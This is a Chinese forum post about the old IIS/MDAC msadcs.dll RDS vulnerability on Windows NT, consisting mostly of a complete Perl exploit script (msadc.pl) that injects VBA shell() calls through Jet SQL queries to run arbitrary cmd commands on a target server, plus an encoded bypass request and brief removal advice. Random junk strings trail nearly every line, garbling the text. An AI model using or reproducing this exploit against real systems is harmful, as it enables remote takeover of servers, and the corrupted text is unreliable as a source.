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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W<Ms0  
.xXe *dm%  
涉及程序: F$TNYZ  
Microsoft NT server ?m&?BsW$)  
wNsAVUjLe  
描述: L2"fO  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \0 &7^  
:',.I  
详细: qU!*QZ^y&  
如果你没有时间读详细内容的话,就删除: *=]hc@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll (1.E9+MquU  
有关的安全问题就没有了。 2&*r1NXBE  
|\g=ua+h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ]"'$i4I{R  
z+ybtS>pZ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \^<eJf D  
关于利用ODBC远程漏洞的描述,请参看: eow6{CD8  
_g+^jR4  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2[WH8l+  
=nQ"ye  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 SKTf=rY  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5<o8prt B  
j$l[OZ:#  
这里不再论述。 1r6>.&p  
>Mml+4<5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1mT3$Z  
?L=@Zs  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset bLMN9wGOgK  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! YGp8./ma<I  
{J`Zl1_q  
d-%!.,F#W  
#将下面这段保存为txt文件,然后: "perl -x 文件名" " 9=F/o9  
[%U(l<  
#!perl 21Z}Zj  
# Ap}^6_YXd  
# MSADC/RDS 'usage' (aka exploit) script fbF *C V  
# md`PRZzj@  
# by rain.forest.puppy 0(A(Vb5J.T  
# y%.^| G  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me an+`>}]F  
# beta test and find errors! lq2P10j@  
A%H"a+  
use Socket; use Getopt::Std; ICSi<V[y1  
getopts("e:vd:h:XR", \%args); #]nH$Kq  
nSxFz!  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >kK;IF9h  
i7h!,vaK  
if (!defined $args{h} && !defined $args{R}) { 6FMW}*6<  
print qq~ r)$(>/[$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } c"X`OB  
-h <host> = host you want to scan (ip or domain) RhVQVjc  
-d <seconds> = delay between calls, default 1 second 8BUPvaP<[  
-X = dump Index Server path table, if available  m9My  
-v = verbose '~?\NeO=  
-e = external dictionary file for step 5 32[lsU>1  
h-B&m:gD_U  
Or a -R will resume a command session rzC\8Dd  
YGVj$\  
~; exit;} NP%Y\%;l6  
3nVdws  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 96fzSZS,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} r|rOIAo  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} YEGRM$'`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); BU|=`Kb|))  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ?#|Y'%a"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (<f`}, QxD  
Y`@:L'j  
if (!defined $args{R}){ $ret = &has_msadc; Wi3:;`>G<p  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Gi})*U]P|  
%X(iAoxbj  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8,0p14I5;  
. "cmd /c "; (8C ,"Dc[0  
$in=<STDIN>; chomp $in; %<@."uWF*  
$command="cmd /c " . $in ; p|Po##E}g^  
=5bef8O  
if (defined $args{R}) {&load; exit;} FX QUj&9  
_~f&wkc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; %u"3&kOV  
&try_btcustmr; 3D3/\E#'o  
w i,}sEoM  
print "\nStep 2: Trying to make our own DSN..."; yyZV/ x~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -3 .Sr|t  
-eH5s3:A  
print "\nStep 3: Trying known DSNs..."; Yj+p^@{S2P  
&known_dsn; OZ2gIK  
5[Sa7Mk  
print "\nStep 4: Trying known .mdbs..."; }?zy*yL  
&known_mdb; Ba$&4?8  
HIUB:  
if (defined $args{e}){ {ETuaFDM   
print "\nStep 5: Trying dictionary of DSN names..."; *n $=2v^A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 2"`R_q  
\XaKq8uE  
print "Sorry Charley...maybe next time?\n"; qKX3Npw  
exit; 2y/|/IW=  
eh=.Q<N  
############################################################################## 92|\`\LP%  
m22FOjk\  
sub sendraw { # ripped and modded from whisker FsI51@V72Q  
sleep($delay); # it's a DoS on the server! At least on mine... E<u6 js,  
my ($pstr)=@_; I^h^QeBis  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Gh3b*O_,  
die("Socket problems\n"); d>j`|(\  
if(connect(S,pack "SnA4x8",2,80,$target)){ :q_(=EA  
select(S); $|=1; sTx23RJ9  
print $pstr; my @in=<S>; K&2{k+ w  
select(STDOUT); close(S); 2H7b2%  
return @in; *c<=IcA  
} else { die("Can't connect...\n"); }} IbFS8 *a\  
JQCQpn/  
############################################################################## SGi(Zkc  
-%8*>%  
sub make_header { # make the HTTP request L4bx [  
my $msadc=<<EOT }GV5':W@WG  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '1|FqQ\.  
User-Agent: ACTIVEDATA +AGI)uQQ  
Host: $ip |G^w2"D_Z  
Content-Length: $clen Ae,P&(  
Connection: Keep-Alive k/MrNiC  
=+{SZh@  
ADCClientVersion:01.06 xY] Y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 J&mZsa)4  
i,5mH$a&u:  
--!ADM!ROX!YOUR!WORLD! 6_`9 4+  
Content-Type: application/x-varg QDO.&G2  
Content-Length: $reqlen 9F[k;Uw  
<Co\?h/<  
EOT n o6q3<re  
; $msadc=~s/\n/\r\n/g; *&7F(  
return $msadc;} H_H3Gp  
HE>6A|rgDr  
############################################################################## ~4e4G yx c  
aj>6q=R  
sub make_req { # make the RDS request d|T87K>|r"  
my ($switch, $p1, $p2)=@_; ~?l>QP|o  
my $req=""; my $t1, $t2, $query, $dsn; 8|FHr,  
*}mk$bA  
if ($switch==1){ # this is the btcustmr.mdb query /_yJ;l/K  
$query="Select * from Customers where City=" . make_shell(); :Fe}.* t  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @)"= b!q=  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} vwA d6Tm  
3[*E>:)qh  
elsif ($switch==2){ # this is general make table query ces|HPBa&6  
$query="create table AZZ (B int, C varchar(10))"; (-'Jf#&X^  
$dsn="$p1";} <kJ,E[4`  
PNNY_t +I  
elsif ($switch==3){ # this is general exploit table query tWD5Yh>.?$  
$query="select * from AZZ where C=" . make_shell(); 9fLxp$`(T  
$dsn="$p1";} {<f |h)r  
Yz6+ x]  
elsif ($switch==4){ # attempt to hork file info from index server $CT 2E  
$query="select path from scope()"; [nL{n bli  
$dsn="Provider=MSIDXS;";} i@Vi.oc4[  
Qf HJZ7K.4  
elsif ($switch==5){ # bad query 7RE'KH_$  
$query="select"; IdP"]Sv{<  
$dsn="$p1";} P*9vs%W  
Jat|n97$  
$t1= make_unicode($query); /*v} .fH%  
$t2= make_unicode($dsn); ",9QqgY+  
$req = "\x02\x00\x03\x00"; =8Bq2.nlR  
$req.= "\x08\x00" . pack ("S1", length($t1)); Sz z:$!t  
$req.= "\x00\x00" . $t1 ; <$H-/~Y  
$req.= "\x08\x00" . pack ("S1", length($t2)); S3cV^CzNg  
$req.= "\x00\x00" . $t2 ; HN7C+e4U~  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |}hV_   
return $req;} =\[}@Kh  
iLd_{  
############################################################################## 2<"kfa n  
mpcO-%a  
sub make_shell { # this makes the shell() statement 6 07"Z\  
return "'|shell(\"$command\")|'";} 0+H4sz%.  
aaa6R|>0  
############################################################################## Z4@%0mFll  
#`kLU:  
sub make_unicode { # quick little function to convert to unicode {:peArO  
my ($in)=@_; my $out; (g>8!Gl  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } x(r>iy  
return $out;} c-?2>%;(V  
luPj'd?  
############################################################################## Tj[=E  
xfAnZBsVo  
sub rdo_success { # checks for RDO return success (this is kludge) g#??Mz   
my (@in) = @_; my $base=content_start(@in); .=I:cniw\r  
if($in[$base]=~/multipart\/mixed/){ o8Q+hZB}A  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Zndv!z  
return 0;} OhNEt>  
OE{PP9 eh  
############################################################################## ;|a,1#x  
`Z)]mH\X  
sub make_dsn { # this makes a DSN for us ,lsoxl  
my @drives=("c","d","e","f"); zQPQP`  
print "\nMaking DSN: "; oM<Y o%n  
foreach $drive (@drives) { )p?p39>h  
print "$drive: "; dq.'[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #KFpT__F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 5:" zs  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @'D ,T^I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; G; onJ>  
return 0 if $2 eq "404"; # not found/doesn't exist :h(r2?=7  
if($2 eq "200") {  xRTr@  
foreach $line (@results) { .66_g@1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} #RN"Ul-B|  
} return 0;} aC2cyUuaN  
ZJZKCdT@  
############################################################################## 06r-@iY.]  
@_:Jm tH<  
sub verify_exists { i,3[0*ge  
my ($page)=@_; J/-&Fa\(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Zo12F**{  
return $results[0];} 2Pa Rbh{"  
*F_ dP  
############################################################################## #z. QBG@  
62YT)/i3  
sub try_btcustmr { q-k~L\Ys  
my @drives=("c","d","e","f"); rzk]{W  
my @dirs=("winnt","winnt35","winnt351","win","windows"); udld[f.  
8dBG ZwyET  
foreach $dir (@dirs) {  + f+#W  
print "$dir -> "; # fun status so you can see progress <"}Gvi  
foreach $drive (@drives) { Iz^lED  
print "$drive: "; # ditto &a/F"?9jL  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 9hNHcl.  
$reqlenlen=length( "$reqlen" ); 2A,iY}R  
$clen= 206 + $reqlenlen + $reqlen; U"0Ts!CABA  
jO5R0^w  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); )^D:VY9 2  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} D=!e6E<>@  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0P%,1M3d  
|o5F%1o  
############################################################################## ~ "IjT'W3  
xklXV  
sub odbc_error { udjahI<{  
my (@in)=@_; my $base; })Pq!u:3  
my $base = content_start(@in); Y +[Z,   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this L)mb.U$`c|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r6u ) 6J=  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c^%vyBMY  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <* 4'H  
return $in[$base+4].$in[$base+5].$in[$base+6];} XZ3)gYQi  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; E\GD hfTQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9^AfT>b~f  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} eHt |O~  
--t5jSS44  
############################################################################## .3Ag6YI0N  
Z: e|~#  
sub verbose { 0</]Jo%  
my ($in)=@_;  '7j!B1K-  
return if !$verbose; !.^%*6f  
print STDOUT "\n$in\n";} ~"t33U6  
s .xJ},E9  
############################################################################## L<` p;?   
;O Td<  
sub save { piy_9nk  
my ($p1, $p2, $p3, $p4)=@_; ;FI"N@z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; kCuIEv@  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; #xlT,:_:)  
close OUT;} BY&+fK ae  
xGU~FU  
############################################################################## iuxS=3lT"K  
r^j iK\*  
sub load { 9pPohR*#V  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,[j'OyR  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;`(l)X+7  
@p=<IN>; close(IN); 'T_Vm%\)  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Zd Li<1P*d  
$target= inet_aton($ip) || die("inet_aton problems"); 1638U 1  
print "Resuming to $ip ..."; HpQuro'Qh  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; tsqkV7?  
if($p[1]==1) { XXe?@w2{  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2y"|l  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; BPH-g\q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); =Ll:Ba Q  
if (rdo_success(@results)){print "Success!\n";} qa!3lb_'M  
else { print "failed\n"; verbose(odbc_error(@results));}} cc %m0p  
elsif ($p[1]==3){ `62iW3y  
if(run_query("$p[3]")){ ~|>q)4is6a  
print "Success!\n";} else { print "failed\n"; }} !-OPzfHrI  
elsif ($p[1]==4){ #+ <"`}]N  
if(run_query($drvst . "$p[3]")){ - wizUp  
print "Success!\n"; } else { print "failed\n"; }} SD=kpf;  
exit;} Js706  
[*jvvkAp  
############################################################################## hh$V[/iK  
x U1](O  
sub create_table { ux 7^PTgcO  
my ($in)=@_; Te:4 z@?  
$reqlen=length( make_req(2,$in,"") ) - 28; L]_1z  
$reqlenlen=length( "$reqlen" ); 1lf 5xm.  
$clen= 206 + $reqlenlen + $reqlen;  6[{|'  
my @results=sendraw(make_header() . make_req(2,$in,"")); q!sazVaDp  
return 1 if rdo_success(@results); =D@+_7\?  
my $temp= odbc_error(@results); verbose($temp); SCUsDr+.  
return 1 if $temp=~/Table 'AZZ' already exists/; &E(KOfk#  
return 0;} ^#Ruw?D  
n!Dy-)!`O  
############################################################################## IL\2?(&Z  
1J tt\yq  
sub known_dsn { I<["ko,t@?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~53uUT|B  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", y!,Ly_x$@  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", O6gl[aZN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tzKIi_2  
@+,J^[ y  
foreach $dSn (@dsns) { h>A~..  
print "."; 5Lo\[K >j  
next if (!is_access("DSN=$dSn")); X`n)]~  
if(create_table("DSN=$dSn")){ v"po}K  
print "$dSn successful\n"; Ew9\Y R}  
if(run_query("DSN=$dSn")){ R[l9f8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .>.B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} NukcBH  
.0[ zZ  
############################################################################## x  bsk  
8^8fUN4<=  
sub is_access { ?m RGFS  
my ($in)=@_; 9 K.B  
$reqlen=length( make_req(5,$in,"") ) - 28; 42{\u08Z  
$reqlenlen=length( "$reqlen" ); @Z fQ)q\  
$clen= 206 + $reqlenlen + $reqlen; a*oqhOTQ  
my @results=sendraw(make_header() . make_req(5,$in,"")); B]""%&! O  
my $temp= odbc_error(@results); )fRZ}7k:  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); aT[qJbp1  
return 0;} -!~ T$}/F  
I>(3\z4s  
############################################################################## ^)|!nd  
6~t;&)6J  
sub run_query { M$O*@])  
my ($in)=@_; W'B=H1  
$reqlen=length( make_req(3,$in,"") ) - 28; AD** 4E  
$reqlenlen=length( "$reqlen" ); [nx OGa2  
$clen= 206 + $reqlenlen + $reqlen; Xv~v=.HNhk  
my @results=sendraw(make_header() . make_req(3,$in,"")); L7}dvdtZ0  
return 1 if rdo_success(@results); f <,E  
my $temp= odbc_error(@results); verbose($temp); 'DDlX3W-  
return 0;} sX :)g>b   
 dkr[B' n  
############################################################################## 8H%-/2NW  
WFYbmfmV  
sub known_mdb { AxsTB9/  
my @drives=("c","d","e","f","g"); ,?OWwm&J  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O :'ENoQ:&  
my $dir, $drive, $mdb; gHB*u!w7Z  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8`0/?MZ)   
rQuozbBb  
# this is sparse, because I don't know of many  ./iC  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \fk%^1XY  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 91Fx0(  
"\\system32\\certmdb.mdb", ;E!(W=]*F  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% >l!#_a  
O/|,rAE  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", (pU@$H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3 W%Bsqn  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", i$[wkQ>$  
"\\cfusion\\cfapps\\security\\realm_.mdb", Al 0 i{.V  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", '#;%=+=;  
"\\cfusion\\database\\cfexamples.mdb", ;$\?o  
"\\cfusion\\database\\cfsnippets.mdb", KliMw*5(  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "IjCuR;#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +J`HI1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 0|D^_1W`R  
"\\cfusion\\database\\smpolicy.mdb", tJ_6dH8Y  
"\\cfusion\\database\cypress.mdb", <hS %I  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", +bGj(T%+'  
"\\website\\cgi-win\\dbsample.mdb", *i=+["A  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", FK^JCs^  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" h8ikM&fl  
); #these are just Y%i=u:}fm  
foreach $drive (@drives) { ;`{PA !>  
foreach $dir (@dirs){ %/K'VE6pb  
foreach $mdb (@sysmdbs) { fW'@+<b  
print "."; U@6bH@v5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ xYgG  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _`H2CXG g  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ g}vOp3 ^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `2B,+ytW8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} X:un4B}O  
`ZC{<eVJ}=  
foreach $drive (@drives) { #JOWiO0>  
foreach $mdb (@mdbs) { D.i(Irqw!  
print "."; BkH- d z  
if(create_table($drv . $drive . $dir . $mdb)){ &7}\mnhB  
print "\n" . $drive . $dir . $mdb . " successful\n"; G<5i %@  
if(run_query($drv . $drive . $dir . $mdb)){ \L-K}U>J  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^h c&rD)_  
} else { print "Something's borked. Use verbose next time\n"; }}}} JB_<Haj  
} &?#,rEw<x  
mr4W2Z@L  
############################################################################## hZ#ydI|  
N`G* h^YQ  
sub hork_idx { }%&hxhR^t3  
print "\nAttempting to dump Index Server tables...\n"; 5yh:P3 /  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; zE~{}\J  
$reqlen=length( make_req(4,"","") ) - 28; \BoRYb9h  
$reqlenlen=length( "$reqlen" ); M<AjtDF%  
$clen= 206 + $reqlenlen + $reqlen; ~)Z MGx  
my @results=sendraw2(make_header() . make_req(4,"","")); |<Cz#| ,q  
if (rdo_success(@results)){ :Z}d#Rbl  
my $max=@results; my $c; my %d; ]d}h`!:  
for($c=19; $c<$max; $c++){ $s*nh>@7  
$results[$c]=~s/\x00//g; $,/;QP}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; QM"\;l??  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; pBd_Ba N  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d>RoH]K4  
$d{"$1$2"}="";} l@h|os  
foreach $c (keys %d){ print "$c\n"; } NFVr$?P  
} else {print "Index server doesn't seem to be installed.\n"; }} @scy v@5)F  
zQ&k$l9  
############################################################################## MR) *Xh  
(P+TOu-y\  
sub dsn_dict { ??'>kQ4  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); H}Jdnu|ko  
while(<IN>){ 0TDc Q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; L,(H(GeX  
next if (!is_access("DSN=$dSn")); g!#M0  
if(create_table("DSN=$dSn")){ >q}Ns^ .'  
print "$dSn successful\n"; #><P28m  
if(run_query("DSN=$dSn")){ rx$B(z(c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ja<!_^h=At  
print "Something's borked. Use verbose next time\n";}}} GG9YAu  
print "\n"; close(IN);} p4Wy2.&Q  
v$P<:M M  
############################################################################## EJ%Kr$51K  
 d*Wg>8|  
sub sendraw2 { # ripped and modded from whisker $N}nO:`t  
sleep($delay); # it's a DoS on the server! At least on mine... |8|_^`  
my ($pstr)=@_; Ib~n}SA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :EkhF6B/  
die("Socket problems\n"); | 4slG   
if(connect(S,pack "SnA4x8",2,80,$target)){ b3zxiq x  
print "Connected. Getting data"; >dr34=(  
open(OUT,">raw.out"); my @in; \8KAK3i'  
select(S); $|=1; print $pstr; r?:zKj8/u  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *ommU(r8  
close(OUT); select(STDOUT); close(S); return @in; :4&q2-  
} else { die("Can't connect...\n"); }} @`IMR$'  
dr54 D  
############################################################################## 5>S<9A|Q  
!U 6 x_  
sub content_start { # this will take in the server headers Xcy Xju#"p  
my (@in)=@_; my $c; =k{ n! e  
for ($c=1;$c<500;$c++) { Ai~j q  
if($in[$c] =~/^\x0d\x0a/){ 60iMfc T  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~ ~"qT  
else { return $c+1; }}} [?=Vqd  
return -1;} # it should never get here actually vmY 88Kx&S  
0sQt+_Dl%L  
############################################################################## $GMva}@G`  
(59u<F  
sub funky { u>K(m))5W3  
my (@in)=@_; my $error=odbc_error(@in); \qo}}I>e  
if($error=~/ADO could not find the specified provider/){ 0+iaO"%  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?k}"g$JFn  
exit;} 8Hf:yG,  
if($error=~/A Handler is required/){ .$rt>u,8<  
print "\nServer has custom handler filters (they most likely are patched)\n"; qgk-[zW#  
exit;} %VSjMZ  
if($error=~/specified Handler has denied Access/){ q[wVC h  
print "\nServer has custom handler filters (they most likely are patched)\n"; ri]"a?Rm  
exit;}} ac2G;}B|  
Rg3cqe#O/  
############################################################################## k*U(ln  
,drcJ  
sub has_msadc { tn\PxT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); KysJ3G.k\  
my $base=content_start(@results); )J"*[[e  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); /`2t$71)  
return 0;} g.V{CJ*V  
^w tr~D|  
######################## pE~>k:  
,WA[HwY-  
hd'JXKMy  
解决方案: Za>0&Fnf  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll J/{!_M-  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 &l<~Xd#  
z+=wql*Eo  
拿出来充数 哈哈
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